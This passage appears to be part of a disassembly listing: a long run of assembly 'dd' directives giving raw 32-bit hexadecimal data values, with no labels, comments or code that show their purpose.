		dd 292E4214h, 35DFADDEh, 0FE4180FAh, 86D014EFh,	0EE2E6E0Bh
		dd 0F81207F4h, 2C0C8B32h, 3363F568h, 0AC5D9575h, 0F8C2E901h
		dd 3F97C6FFh, 87851511h, 3BD601D9h, 282357DAh, 35E698E0h
		dd 0DD5E8104h, 0C0D35BC1h, 19F1723Dh, 112FFAF2h, 0F10E874h
		dd 2035AE76h, 173C648Ch, 0A1050F77h, 5565E90Bh,	0E60080C6h
		dd 5F1C23ECh, 0FD2D04EBh, 0D6098C3Dh, 36CC85DAh, 1E6FE3BFh
		dd 83BC99BEh, 378E8DE7h, 6985A059h, 6FFAD201h, 3570007Fh
		dd 0C233BEA6h, 0B150FCF6h, 9AC18053h, 67C091AEh, 0D3C5A1Fh
		dd 4BC4F552h, 1CCF8C9Bh, 0FB7FB863h, 0AA12BA9Ch, 0F9068191h
		dd 17C405C0h, 68F4E7Dh,	68193F70h, 0F128E9B0h, 0B7807313h
		dd 80500DF7h, 0E243F80h, 5193016h, 7CF4114Dh, 83571E7Ah
		dd 74B3E6C0h, 6A011946h, 0A728CBAh, 6D3120F8h, 0CE282E41h
		dd 0CBD0DD6h, 0E3E4DB37h, 0AE11494h, 936E4A59h,	17D192Ch
		dd 0EDBD8BFBh, 10274610h, 2209C525h, 104ADE8h, 0C91A9D8Dh
		dd 83F96015h, 1930C484h, 4DD34931h, 3C3DC041h, 997CBD33h
		dd 6D854BC5h, 8A0FCB43h, 0E92F2911h, 0AF9B0089h, 86F5F6D2h
		dd 5480F902h, 4019983Ah, 2C904965h, 0ADE364E9h,	0FDA933F5h
		dd 0F93CEA53h, 3E324A86h
		dd 1152337h, 95010A70h,	440383Dh, 11B59D8Bh, 3DC08DDEh
		dd 658A5876h, 660EFB02h, 90E99331h, 0EC7889h, 0A19DF547h
		dd 0F49B7EB3h, 146F5500h, 73535750h, 0CAE37081h, 1FB60D5h
		dd 0B61F9F1h, 5A4360DBh, 0F0B7408Ah, 0ACBD1383h, 0A2BCC70Ch
		dd 6A591084h, 1549F701h, 15846DE9h, 9541B523h, 9B88446h
		dd 0F18011Dh, 0E9803489h, 9B17D352h, 0B045803Bh, 24D01355h
		dd 0A15F42CFh, 0A32A343Ah, 301BB253h, 90019F53h, 6C770810h
		dd 0DC4D8D0Ah, 6BD60D3Dh, 0F7E05ABh, 0A530058Ch, 0B4DD31F6h
		dd 46BE000Fh, 8B059145h, 0F222F34Fh, 8501217Ah,	287565B1h
		dd 0E851D40Eh, 0EE198C16h, 6607742h, 25B53310h,	0ED602141h
		dd 901D4001h, 81501890h, 8B296630h, 500F1DD0h, 5A310152h
		dd 51DD6158h, 5EF8248Bh, 1791D29Dh, 34157280h, 7767E9B5h
		dd 9D72293Bh, 0A120D211h, 11BF6D2Ah, 1BF92776h,	0CE000BBFh
		dd 847790BCh, 44BF06CCh, 5A23D53Dh, 0B9202641h,	41254151h
		dd 0C46AF282h, 7159E474h, 2787BC8Dh, 218BBF34h,	852DC877h
		dd 0D27089h, 2E724824h,	0F4BC92CAh, 0DB90404h, 0D2819DA6h
		dd 353C5FFAh, 0C38BFC82h, 4ECDDB85h, 1DFB0F84h,	881BF184h
		dd 202D291Eh, 2B39699Fh, 9A3727C2h, 0FAA8AF83h,	0A75C80DAh
		dd 0FD2249Eh, 4C061172h, 2A11196Bh, 80FDF375h, 0D82B4B41h
		dd 19A20233h, 0FD15930h, 0C68FA362h, 0F0360112h, 0D5241C89h
		dd 0D07F2DF2h, 8C17A830h, 4E23490Bh, 64654D55h,	0D3BA6115h
		dd 0C398241h, 892F5D22h, 57D5AA55h, 5591031h, 0E8263D69h
		dd 0C0434011h, 14181319h, 956CFE8Bh, 311C5ACDh,	2901E74Ah
		dd 97DE804h, 505914E6h,	0CCF92A05h, 0E109D771h,	287A3ACEh
		dd 28DE8050h, 48D03B4Eh, 0E8CB56FBh, 9A1C990h, 0BC6E8402h
		dd 0C05B9030h, 4925CCDBh, 0BD08675Fh, 612A3381h, 80BFD4B7h
		dd 841BE467h, 8A009220h, 8ECECD57h, 49AD5DF1h, 0AB5E69C0h
		dd 5300AD6Bh, 967DDCCCh, 0C9244D4Bh, 0BE1F5482h, 3CFE3DC2h
		dd 0A1E88258h, 0B0B9DA23h, 12427D1h, 1491109Dh,	61ECB38Ch
		dd 0A6BE00F9h, 2D7C98BBh, 8B3007B9h, 18E33185h,	0C423D3E7h
		dd 223CF264h, 0F7EC81B7h, 1CE21866h, 0E1B230h, 80152623h
		dd 5BD2E350h, 61787B9Bh, 57DD0435h, 91B98589h, 0DC295E67h
		dd 0ABA91625h, 8B5369C3h, 91EB1F50h, 0A0B1801Ch, 5334CBh
		dd 0E0D912BEh, 354D9D29h, 0BF05809Ah, 41E99ED8h, 15C84DCFh
		dd 8BDD86C0h, 0DCF4B6C0h, 54FFB401h, 21085A9Bh,	26466269h
		dd 0F47F6BB0h, 0BB1F192Eh, 0EAB45028h, 0E2DD1B62h, 0B99FA99h
		dd 34B55319h, 16E46DE5h, 3848BA60h, 3C95E6A1h, 7A8241CCh
		dd 2AC18EDh, 8E698402h,	547A8D5Ah, 882D3A6Ah, 115ACB1Eh
		dd 0F96FA729h, 1880169h, 0E3D66D72h, 0B6500A66h, 2D2B5FA5h
		dd 0A85A2956h, 13755C62h, 8F2E2116h, 0C116884Bh, 88ADDAD9h
		dd 161CC14Ah, 49D30657h, 9D10B719h, 5F270B39h, 94FB1C90h
		dd 0AF742E00h, 0D2296855h, 2D3B1260h, 8AA20BACh, 5729C48Fh
		dd 0F35EF284h, 0CCEE0038h, 509B0E9h, 0CDDE0F03h, 9520AB4Fh
		dd 8B5EA4AAh, 809E25EAh, 0D75F610Bh, 2A6106CDh,	5D605277h
		dd 5E1A4045h, 84A5CB0h,	4D1D5DCCh, 562955EDh, 181A7935h
		dd 62BA0248h, 0D42B8AFEh, 0A4A0ADD1h, 0B710F920h, 0E80A9DCh
		dd 0CAD25BA3h, 0A6B5008Eh, 64CDE575h, 27FC6A1Fh, 3A656318h
		dd 0A40A8D3Ch, 32926C2h, 17467CA3h, 5AC9F507h, 0DD4C6D0Eh
		dd 5A2704h, 0F35CBFFh, 0F85EBC8Bh, 1D68B4A1h, 821FBCBEh
		dd 0DBC15739h, 0B05A8081h, 4E7EDB90h, 0A1A120F3h, 8100B1E5h
		dd 3BDE090Bh, 125FF8B3h, 0DF04EBF6h, 2B5880A6h,	138B7982h
		dd 5107CF6h, 0EAE6923Eh, 0DBB00EF6h, 0D001EC93h, 0B6C6106Eh
		dd 0E3305651h, 5EECA8B1h, 6556B45Fh, 0D39E88E9h, 50D6D3Dh
		dd 50DB7146h, 635433C1h, 3C4CB03Ch, 62261110h, 92271950h
		dd 55B82F0h, 35995231h,	0F61D32FDh, 0DF5F383h, 161780A4h
		dd 2C05D870h, 90247882h, 4F12000h, 0D54F0176h, 60502004h
		dd 0AB1F11B2h, 0D033C84h, 9DE983DFh, 579442A8h,	2222702h
		dd 0E05A513Ch, 35B4BAA8h, 0EEED615Ch, 0D3B720A6h, 7A8FC10h
		dd 7102E9BFh, 0E5B589F4h, 0A171F715h, 0AF20C53Ah, 31215A3Dh
		dd 0A34F925h, 0E916033Eh, 0E2B9D29h, 0C01D88ACh, 4359F9A1h
		dd 210F2B02h, 803694A3h, 0FF4192F4h, 0DC0496D3h, 0C1364C09h
		dd 81D6024Ah, 467F0B02h, 768C4343h, 615C9E84h, 680835E9h
		dd 178AB141h, 0C8ADCB05h, 0A0F2C017h, 9DC8C202h, 669E2713h
		dd 0BD56A643h, 9BE009B0h, 61925EC0h, 279D8B31h,	3EBD1349h
		dd 0A0D6C41Eh, 0B541498Dh, 0F4041511h, 9F97E149h, 801D11B9h
		dd 3518A3Ch, 0B36F000Ah, 0BF3DF0ECh, 0C002D48Eh, 0DEBD8319h
		dd 1A70D115h, 8FED3F3Fh, 0F3FB98C0h, 0D210011h,	66076A1Eh
		dd 0E925F28Bh, 7F6E8Fh,	0D5DDBE84h, 0D8A3C5EFh,	0B66203Ah
		dd 8D8AEB73h, 9F3C98CCh, 18870FC2h, 0DA53F7h, 0D725D152h
		dd 7000779Ch, 0FE50452Ch, 13F0868h, 6BEDF92h, 0C24FE98Eh
		dd 1C11FE9Fh, 72357480h, 0DB721B79h, 41800D27h,	0A20413E4h
		dd 0ABBE00C8h, 0EB75848Eh, 425F3CE4h, 74147387h, 496B8A8Dh
		dd 0DCF2CAB2h, 2AA68B90h, 988E0F27h, 8211E520h,	1A4D2D40h
		dd 1F5AC6B4h, 0A980BF6Dh, 0EAAC3E32h, 0A47925CCh, 2618510h
		dd 5CC2204Bh, 0B727B077h, 5F5E998Ch, 0C666DA68h, 0D99E9585h
		dd 0BE277046h, 0C100DC43h, 29F98BD3h, 0B42679B5h, 8D89E1F8h
		dd 0CC9C22Dh, 0F4402AE8h, 30BD330h, 65C80484h, 84FDD031h
		dd 0F6FD8593h, 0AB8DE057h, 7B2105B7h, 0C0EA9BC4h, 1CB185E4h
		dd 5CCCE988h, 9BC3E303h, 0CE84B0AAh, 0C01A8869h, 709DEADFh
		dd 0ED667218h, 9E2231E6h, 807DA993h, 1080D584h,	78F4BD18h
		dd 6B39CD00h, 767A3BAh,	2FAB7721h, 107DE47Ch, 89AD06h
		dd 0DB2E454Ah, 4D5C062Ch, 38CB4401h, 0F0C21B7Ah, 904733Ch
		dd 0E915519Dh, 629B96E4h, 0AD4FDF81h, 0C87C70AAh, 0F9CEB04Eh
		dd 22C01BC8h, 90557B2h,	0A0A5EE41h, 7611320Eh, 89158F4Ch
		dd 7B94E2F5h, 95317006h, 91B38213h, 0E4EFA0C5h,	73008BABh
		dd 0DF939CD3h, 0F46CC9h, 35E8F781h, 0D82B54BFh,	0C1804391h
		dd 63A0195Fh, 0DFCE0B2Ch, 10B3F3DAh, 5E88B070h,	79CE0281h
		dd 9326ABA8h, 171A7561h, 9EC98965h, 0FBA97Bh, 0FD812B6Dh
		dd 1F5419BBh, 80E3AC4Dh, 5F1327BEh, 60009350h, 0F929DB81h
		dd 2661122h, 614742B9h,	8C5EF38Bh, 1646D6h, 0B386D14h
		dd 911A69B5h, 0F2909C7h, 666227CEh, 422A9CDCh, 49618A89h
		dd 0E6820F0Bh, 2AD72D00h, 225E610h, 0B08AFDC9h,	9F137981h
		dd 8C5488B2h, 7D7BEED4h, 74EA0566h, 1BA520Bh, 95BD2931h
		dd 52160514h, 1823C13Ah, 0A365C200h, 94E854B8h,	81C59DBDh
		dd 0F950D648h, 0F3346A5Ah, 2329A104h, 6BF25F09h, 3EAA9998h
		dd 582E73F7h, 0B102F457h, 8B1512E2h, 4D4D42F1h,	5ADEE146h
		dd 0B7AAD8FDh, 5833A0B5h, 5A4DB531h, 4BFD320Bh,	281C52Eh
		dd 0B9F0DA20h, 0ADBD9D07h, 6004849Fh, 18272D0h,	8396A299h
		dd 40E4EFC1h, 1FD1CC36h, 0ABCA3100h, 0B59D295Ah, 6427B604h
		dd 90AF57E4h, 9490A395h, 4591AD00h, 4282AA23h, 0AF0A0143h
		dd 0F0194F0Bh, 4C3E6C60h, 27B513D0h, 0B93880E6h, 2C8D7A5Bh
		dd 0FC97DAEh, 5BD144A5h, 17F20AA2h, 0E2F0F732h,	7D95290Bh
		dd 1366B31h, 7ED8BFC2h
		dd 2571BD09h, 95723BE1h, 0C0A5EF54h, 9A1F944Ah,	1D0179F6h
		dd 0B58946CCh, 27131565h, 7EDB2F4Eh, 30B62C81h,	0CCDFFCCAh
		dd 73756A05h, 24B5C08Bh, 0C46E3Fh, 0A6172511h, 178F5F47h
		dd 12BD8E42h, 1589A4E6h, 3FC6F113h, 1623193Ah, 39316C04h
		dd 0DAF193C0h, 0B20C6F82h, 75D9EF00h, 0FCB4634Fh, 13153579h
		dd 0D5A9B3BAh, 1CF8AC90h, 0C4DB0B6Bh, 8175AA4Ch, 3E1BF9BCh
		dd 9F0A974h, 5A20B61Ah,	14C4CC45h, 502A4B63h, 905FA969h
		dd 0FA9943AEh, 0A5E8CD28h, 6E0DC261h, 2EFEF3F2h, 0E0005375h
		dd 95209985h, 0E500763Dh, 66EBCBB5h, 0B8432DBEh, 0D0005444h
		dd 0D284BD3Bh, 0E62D028Dh, 82E60003h, 2AB6D626h, 9A199108h
		dd 13C089DEh, 9B86F502h, 95FA9345h, 0F218AD4Ah,	91E3F860h
		dd 181CD145h, 90C60182h, 84E4B291h, 9498D2DBh, 32007AE9h
		dd 3C4C85D1h, 40D9F4BFh, 2341A522h, 2EC42A40h, 5F512710h
		dd 0BD10A34Ch, 80580355h, 0F334D912h, 3019B2D2h, 1000CED7h
		dd 89C99366h, 0C031159Dh, 9AF6E781h, 389D4EC1h,	0C00945E2h
		dd 4352DF25h, 0E90E5773h, 29FFF7E6h, 6536E8E8h,	8EBF00B6h
		dd 0F06A0150h, 2F2668ABh, 0B1082388h, 0E5F162Bh, 0C14BF155h
		dd 9CC0E7CDh, 4B01D180h, 0EBFF9195h, 0BBE87B04h, 28C19F8h
		dd 8E9666EDh, 5840D589h, 3A832411h, 3CC1C10Ch, 2ADDD0DDh
		dd 195C4D5h, 489F8EFh, 1481B500h, 0BB6AC2B4h, 1D4674h
		dd 7CA7DA7Bh, 17AAD7D3h, 0A2D2CA6Eh, 3BC0112h, 7EB79247h
		dd 4CF07AC8h, 841D4D1Bh, 0CB178126h, 6EADB00Dh,	7962F005h
		dd 4A73EB0h, 0E8061621h, 0FF89410Dh, 1FF8A213h,	0FF9FE45h
		dd 246ABDD9h, 32C58DA2h, 9538E444h, 5245B49h, 0D8E13AA6h
		dd 60CDD192h, 2F4061EEh, 60530B50h, 0B471D08Bh,	0E56CEBFh
		dd 0B351C60Eh, 0E7097EE3h, 0B688830Fh, 80B82930h, 0DE1B36D6h
		dd 4005A815h, 74F3F082h, 172081BCh, 331EE1B6h, 4E2C754Bh
		dd 8E0F27FDh, 0D01E565h, 0AD8936A4h, 6AEC2621h,	0B2982D5Dh
		dd 1A910EB5h, 7EF89C80h, 8B2EB472h, 0FF89E6E3h,	70265BD3h
		dd 99018FFCh, 90989B62h, 0F768BFB3h, 44C6FD6h, 3BAEA485h
		dd 6A053BF2h, 0F1B19CF9h, 129A4240h, 0D2E3B970h, 0B16227D9h
		dd 2A020921h, 8DB3275h,	7C08FF67h, 9B001846h, 3C9A3F40h
		dd 994D9D8Bh, 8D29093Eh, 9E73785Dh, 0A4FC65EDh,	828A4EE8h
		dd 1CC9FCh, 1FE2BD83h, 0B44C4B4h, 593B2854h, 0ACEBE9C0h
		dd 30343F17h, 0F9832FEDh, 0F0148E9h, 17356FBFh,	0BA68607Fh
		dd 0C9CB4381h, 0E489F8C0h, 84B6153Ah, 0E0F926AFh, 0A3F07880h
		dd 30615282h, 0AC4DB042h, 6F2C96BCh, 92229E8Fh,	16C6BDB5h
		dd 2B779D13h, 5124E6Ah,	0BF7D4137h, 7FAB9846h, 282A4A34h
		dd 5A161423h, 0B40311A0h, 5733C47Dh, 5750DB30h,	353D1EBFh
		dd 491FAD45h, 56813CA1h, 13718D09h, 0A83EE901h,	4D272A41h
		dd 200FC61Ah, 0E6271471h, 0C457C670h, 1D0AA91Ch, 0CC81FB93h
		dd 133BD8B6h, 2FFC8925h, 3A00216Fh, 484A5A8Dh, 653D1DA8h
		dd 0B70F898Bh, 8175C0F1h, 27B970F7h, 780973F0h,	0C099602h
		dd 2DFB860Ch, 0B090D82Bh, 4E03D552h, 9771CAB7h,	0E95B863h
		dd 408D0998h, 7FD850B1h, 0AD78AEB3h, 4EB7A4Dh, 0F3A22918h
		dd 25AEF8AEh, 2B7D390Eh, 8720ADF0h, 693E4D2Dh, 9208350h
		dd 0F5E142Fh, 187BE88h,	56D1DBDh, 0B8C4B9E9h, 7AC8E9C8h
		dd 9428260Bh, 2EC1092Ah, 0F0A114F9h, 8F191671h,	0A2BF2306h
		dd 421974ECh, 70B05320h, 5F005383h, 6D78B3BBh, 0BD8DE14h
		dd 51BD3360h, 1B82FC62h, 11D261CBh, 0F501C62Fh,	808017B7h
		dd 78727A29h, 0F8322492h, 0CC1AA77Bh, 26619102h, 5B4980D9h
		dd 0EAAF5076h, 60A3CD2Fh, 905EF1AFh, 0F3E15C2Ch, 0CD10C38Ch
		dd 0F1C9344Eh, 8B020E60h, 8F4AF1FAh, 4FDCB654h,	86D20AAEh
		dd 16C2C64h, 7142EC6Fh,	3D596058h, 0E732344Fh, 81522016h
		dd 0D1086EEEh, 0D65F2FCBh, 8B001D46h, 0E1205DEh, 713A59Fh
		dd 0E3F113CFh, 884BE938h, 61047301h, 2AE897C0h,	0D2CBCBF4h
		dd 0E08EA61Dh, 4F0D148Ah, 38B78D53h, 0EDBE02D9h, 796BA9CAh
		dd 5B8F11D8h, 0E726488Dh, 0A65BF513h, 0AB51E071h, 6AE84CFBh
		dd 0EC4D1480h, 0C93A98CAh, 5C0100E7h, 638D0D56h, 0B589130Bh
		dd 2B78A435h, 216EC35Ah, 90339124h, 0E9624E13h,	0BD892119h
		dd 2C783591h, 2EB19680h, 0D96C8FCDh, 6B79C7C0h,	0BEEEC08Bh
		dd 0A5DE4527h, 49AC33B2h, 0D0241796h, 8D1FFB68h, 0A09B1A4Eh
		dd 6E8C9F86h, 4411D3A2h, 0E39F44CEh, 0C4BBD791h, 0B86AE96Eh
		dd 0CD094CF8h, 4E266D10h, 0BD03AE30h, 0E6234AD1h, 301BF220h
		dd 0EE05AA57h, 374B50F8h, 2CAED494h, 614A6059h,	9E11DBA0h
		dd 1846DEBCh, 0C7AC9101h, 7A8BC563h, 0A439800Bh, 0B49B9018h
		dd 0A13F6DC0h, 0A604E2BDh, 0D5467E64h, 43778Ch,	0C3F22D2h
		dd 0A4DEC8B7h, 84138905h, 36A01858h, 815F8855h,	8811C601h
		dd 8D0F257Ch, 872C8949h, 85EF219h, 159220F9h, 0C882741h
		dd 6DA4167Dh, 49DE2A12h, 4A06F280h, 109F29ACh, 182B606Dh
		dd 6515399Dh, 0B3D27585h, 10A16F10h, 61263225h,	3DF86368h
		dd 0EBAFEAC0h, 0ABB36DBAh, 1D5C278h, 925A457Eh,	66C56F2Ch
		dd 0B509045Ch, 88170425h, 8B006040h, 79F9810Fh,	189CBF10h
		dd 880361CEh, 2ABB5FFAh, 120A578h, 26BD7DEDh, 3056519Fh
		dd 0F051FB05h, 1306E1E3h, 30ADB929h, 0D01A507Fh, 0E90E0F20h
		dd 39FFF91Dh, 0CEA6516h, 0B94AFAAEh, 48ECF41Fh,	80014D20h
		dd 8D2152C8h, 0EC4F1A01h, 0E0CE1C88h, 0D6A31B61h, 0F0330309h
		dd 38DF807Ah, 0A955A10h, 48C18F8h, 0E2C20D1Dh, 0EAE245h
		dd 0A836AB2h, 201E0EFh,	20FA6E9Ah, 64A18B68h, 7183B8B0h
		dd 0E25C210Bh, 0D9CE8229h, 3F8B052Ch, 915234Eh,	500E1CE6h
		dd 3826533Ah, 0B7972923h, 0E5220464h, 4B98F0F4h, 60618216h
		dd 9C80489Bh, 48BEC931h, 22EF5C00h, 0D0816CFAh,	16325C8Bh
		dd 1090B53h, 28C2ED8Dh,	0A9F5DB05h, 0B9B51E10h,	6B950C68h
		dd 11F8287Ah, 73188A06h, 40D3717Fh, 6C969CCh, 0AF911718h
		dd 800B4978h, 9314D6BEh, 0C9B15752h, 0D8835326h, 0B5737AEAh
		dd 0F081BB01h, 76CE4FB6h, 0AAE0C8B4h, 157D5F7Ah, 54B2C91Dh
		dd 0FABD2A25h, 0B1526E80h, 1375A310h, 4E67330h,	14021949h
		dd 3DEC560Ch, 29334482h, 4E1CD9Dh, 241C71BDh, 1A661BE4h
		dd 1457EEB8h, 6DAFDAD4h, 0C742C09Eh, 4913B0A9h,	9FF027FEh
		dd 0A9088211h, 0CAED2D38h, 8F2539C0h, 7F082528h, 4329F5D0h
		dd 0CBBFB083h, 9004267Bh, 0C2DBA38Eh, 3BC4C998h, 0B6908886h
		dd 0EF93C17Bh, 7C45249Ah, 0EB28DC7Ch, 29059105h, 0F3674F39h
		dd 0D307E412h, 6CEC5195h, 66649553h, 9D282A04h,	4BC067B6h
		dd 141FCD2Eh, 0FE615E1Dh, 0E127F6D7h, 28213121h, 0F02233C5h
		dd 0A7114B77h, 0C95A01Fh, 0B9680005h, 0BF55BBE9h, 0FE3527B7h
		dd 5DD45C5Ah, 3105B704h, 6F977426h, 0A60840EBh,	7E00C1E2h
		dd 49B76399h, 7BDE813Bh, 67EF2CBBh, 9D895803h, 34033521h
		dd 567ABE98h, 0FCEDC04h, 0FB20AF0Ah, 0B0CF3h, 80C98B2Ah
		dd 1EC87784h, 46C17F2Ah, 0F85C2749h, 3A6700E0h,	0F78160A9h
		dd 2F1770DBh, 9108610Ch, 0B1DE8324h, 7B8520C1h,	55E91201h
		dd 51D711C0h, 0EB4600A3h, 3A957218h, 0A70040ECh, 0F512B648h
		dd 0E0E18D9Ah, 49787Dh,	21886915h, 71D839DFh, 0ED0AAC00h
		dd 3EDB8382h, 40A807E5h
		dd 0ECAE91h, 6DCE132Fh,	51EA9400h, 228B3EC6h, 86A20037h
		dd 2DA6251Dh, 3900CE5Fh, 269C5DB3h, 1C3A06FAh, 802BC443h
		dd 877F883Dh, 0DF00F707h, 44A41994h, 770C2C72h,	5CD9003Ah
		dd 0BE68B910h, 0C8005BB2h, 0BACF5622h, 3D150D0h, 31579429h
		dd 5A0062C0h, 45A61F1Eh, 3A7717EAh, 0A480379Ah,	0ADC8B45Ch
		dd 0CB00422Eh, 0CAE59339h, 0FE79A981h, 7CB91E02h, 4345B014h
		dd 0DDEC7BF8h, 75548300h, 0B83D1D1Ch, 0D52C303Bh, 0AC337D0h
		dd 63D42CC0h, 531B307h,	5ED0F703h, 44C4BD7Dh, 0F6189E8Bh
		dd 142E8201h, 0F3C708A3h, 7D3F8BF1h, 6D3B88h, 980EC92h
		dd 772450F6h, 27D63A18h, 610F613Bh, 15680DCEh, 88DB4048h
		dd 20E16FE4h, 7600E1D4h, 17C08ACh, 7F91F884h, 0E3980C92h
		dd 0EA3B4C8Dh, 260C937Dh, 15A554BCh, 0BD380003h, 0C8A285CFh
		dd 4400EDB4h, 0B171E0EEh, 0FC7907h, 7317E887h, 0A77EE996h
		dd 0EB86FF00h, 0ADCB701Ah, 0D3FE21h, 199A3DFDh,	966D61C0h
		dd 0DF009CF4h, 4BDD0A81h, 6513B9h, 0B77F9008h, 45DEA92Ah
		dd 7AD3A100h, 177602AAh, 65730Fh, 0B070DA6Dh, 0BEBBC971h
		dd 0A6E14300h, 1BC75CCCh, 274103FEh, 0B33AA88Ah, 35455388h
		dd 176AF201h, 33D32E97h, 0E4AD28E4h, 0DE9059h, 812BFB52h
		dd 61C97EF3h, 80E4733Dh, 0EA6B0672h, 0A097A537h, 8978CAC5h
		dd 0D60406Fh, 3D004BF5h, 0BF75394h, 541870FCh, 779CD9h
		dd 25348904h, 0A042DFDDh, 1A0E57EAh, 8EE94099h,	3D5B006Ch
		dd 19F47D5h, 0A82DED90h, 0EBA345D9h, 2F83EFC0h,	80FBAD30h
		dd 3F3301Fh, 0C73C3947h, 8F1F51A7h, 53DEBF42h, 3F21646h
		dd 0DE5D017Dh, 4CFD0A65h, 2C28E486h, 80CB383Bh,	0B254A920h
		dd 0BA47C6h, 21FD6C18h,	0D651F17Fh, 0CA607C0Eh,	0F231E059h
		dd 914CAB44h, 0BDDB003Ch, 2DB1420Fh, 59DA1B02h,	4EA203F7h
		dd 0C0AB425Ch, 0DE9DEB95h, 0E4B20073h, 8AF6751Dh, 1B0E76EFh
		dd 8014600Ah, 7A8878D2h, 0DC3104CEh, 801D9E02h,	9606B032h
		dd 1EE66405h, 9200518Eh, 0E8039020h, 0F20E000Ch, 0E3F85E46h
		dd 53B7E47h, 0AA690058h, 0B4730709h, 0C24B0039h, 0E5229B43h
		dd 3E385283h, 91EC01E8h, 8D94FB14h, 9C958F0h, 3A37E34h
		dd 217D8E07h, 80EBEC74h, 0FAA87F2Fh, 51F8Eh, 0C063115Fh
		dd 4FF8526Ah, 0DE27E300h, 0D19F4BD8h, 2BF52C94h, 86E90049h
		dd 20A9D77Fh, 0B88E160h, 7CCA361Ch, 0DE40BD3Bh,	990176F5h
		dd 0E5372E9Eh, 0A0FA43D6h, 21BFE69Dh, 907600E0h, 0A92FAF7h
		dd 0CA12A928h, 6000A00Eh, 9C21835Bh, 4C010B5Fh,	7200F4ABh
		dd 5EB2269Fh, 78903B50h, 16770500h, 0C637590Fh,	60CEC14Ah
		dd 0EC8A2CF1h, 3C002B90h, 363341E1h, 7DCD5CBDh,	0F4310C34h
		dd 0FB315D9Ch, 79038000h, 0D4691110h, 17B93A45h, 0E5970C81h
		dd 0C490FAADh, 80CE991h, 0CC439F09h, 834270F0h,	4E5280ECh
		dd 3E00C3AAh, 774A279Ch, 25AAE0Fh, 34BDD33Bh, 26E02615h
		dd 3C00B3C7h, 8416B4Dh,	0D4058Bh, 9B86FA04h, 7D44C2A8h
		dd 8026F91Fh, 150B840h,	0B4BD55h, 0BEC31C1Fh, 0DAA654D3h
		dd 94F484A0h, 6F9D83C0h, 250ED4Fh, 54FC0413h, 96490DCCh
		dd 0E6A020ABh, 765042EEh, 1C007C9Bh, 0B3A0A31Eh, 0E55EE4h
		dd 2ED529B8h, 0C445B7BDh, 0E261E104h, 45D01967h, 240C128h
		dd 80E82596h, 9C80A451h, 65178CEFh, 0DC2B3601h,	1923B52Eh
		dd 43E01D80h, 21A24ED4h, 1E0A6000h, 2D825F07h, 0B6320091h
		dd 0A3474826h, 0C60077F2h, 0E3839E89h, 6AFE62h,	0CC0AF64Eh
		dd 0B1A9016Ch, 246BBE24h, 0C229DC00h, 98E05FD2h, 6FB61F96h
		dd 80EB5DC7h, 0B38CF075h, 1214107Ah, 67BC68CCh,	0D00CD3Eh
		dd 0A676D12Eh, 0FCFD2A93h, 785A6090h, 0A6D7B3D5h, 0EF0CE412h
		dd 0AF9F3105h, 4239F180h, 0A99400C1h, 0A0F7F414h, 83FCD68Fh
		dd 0C07A022Eh, 48966C32h, 80EC3B41h, 4A628B1Dh,	0A299E40Fh
		dd 80D722DFh, 5D1EC0D6h, 788900D8h, 59D2A2CEh, 0EB1EB39Ah
		dd 66008839h, 0B71AF79Fh, 0B8C4006Eh, 5D2BCD51h, 911331CCh
		dd 0DB006AE3h, 0FA50C389h, 182500E2h, 6B44B5DBh, 0A5F22A17h
		dd 0F924330h, 0E4D2512Ch, 0CE3A0310h, 9E5FB137h, 45381D07h
		dd 3F2029C6h, 0B9DFE997h, 98BA03E8h, 160B6DF9h,	0F3329Bh
		dd 0B151AC06h, 0BA4A02C3h, 20E76612h, 808727C0h, 27A6D209h
		dd 444AA0DBh, 4C7DEC98h, 2D0105A2h, 81E38953h, 0A0473AC3h
		dd 896FEB83h, 5B9340FFh, 5CD4FD8Fh, 0E1890A51h,	9F16C181h
		dd 0C878DE9h, 280DFF20h, 1E532F68h, 40F214E1h, 3B2CBA95h
		dd 813A0616h, 3ABC02FAh, 5581A7Ah, 835D0681h, 245F60ECh
		dd 4C77DBE3h, 54685A0Dh, 14B75145h, 304AE043h, 423D8F18h
		dd 0A066808h, 52788B18h, 51E27D89h, 60857C2h, 5C24C387h
		dd 58A034FFh, 0E9FCC483h, 0FC4E6B17h, 1B712600h, 0C39B753h
		dd 317CB8DDh, 0C57F03C2h, 59A7E00Fh, 0BD73208Ch, 0ACF39C1h
		dd 0AF17977Dh, 6250789h, 2D7CE0E0h, 391FB5A6h, 1D8B2989h
		dd 428B80CAh, 0E4413h, 0F44DDF3Dh, 0AE3F496Eh, 0DE933128h
		dd 0FAA370EFh, 0EF283C02h, 7E602B9Dh, 8E00DCE8h, 14592091h
		dd 38990DAAh, 66806090h, 2961CA8Bh, 8DBC6D9Dh, 0F217FA3Bh
		dd 0D59D85C7h, 366E7Ah,	0C0DE8CC6h, 0FB718EAh, 0F5806BE4h
		dd 5EED6189h, 61FD17C0h, 0A379012Ah, 0EB68C0ECh, 0E99DE407h
		dd 7CDE3BE1h, 2A9AC5C2h, 8180D4D9h, 9E10BCEBh, 294D974Fh
		dd 0B0828EC0h, 800F289Bh, 0C18B0D4Fh, 6A0F75E9h, 0A8D84804h
		dd 352269A8h, 55016A25h, 0A411996Ch, 0A14F1581h, 38839F9h
		dd 0CEFC1FEh, 43C1B68h,	291B020h, 3A0DE957h, 95FF7005h
		dd 32E91A07h, 5715509h,	0C530DF40h, 4F6981A9h, 1DD143Fh
		dd 29D5310Eh, 7C8D6A50h, 6E5605h, 0C1C36112h, 604AE075h
		dd 0CCE098B6h, 940208B7h, 8BD5FAC5h, 7C2441F3h,	2D29C0D4h
		dd 0BA8B2D95h, 647A67FFh, 0B9AA3438h, 4238A879h, 0E980E004h
		dd 0B8173BFh, 197E66E7h, 4C70B7DBh, 0B9531C9Ch,	502C51Ch
		dd 0AF53F159h, 4B7CEh, 9596EF10h, 0EB002FC1h, 6646F5B6h
		dd 1754C981h, 0C4DCE8D0h, 0E0A3E6E8h, 28CBD4h, 2FA3C254h
		dd 8B759CDDh, 0C041BD27h, 0AB9F5BEh, 3038110Ah,	0C49D17A2h
		dd 0B8DEF918h, 0F43205AFh, 0BCB7F7E2h, 68A8810Ah, 0EAF4BA02h
		dd 267E0044h, 327264DAh, 4F069659h, 68E817FAh, 355F95E9h
		dd 9A718CF0h, 0E487EDC0h, 16066118h, 4E513E4h, 1EE8F3B5h
		dd 977ABE08h, 0FF30B102h, 6A6156F0h, 5BBC140Ch,	0C18D8BC1h
		dd 75BE0633h, 765CBE0Dh, 82011946h, 5F741E0Fh, 0A307B12h
		dd 40418529h, 0B438E825h, 1F64E07h, 25569DF2h, 2BD18509h
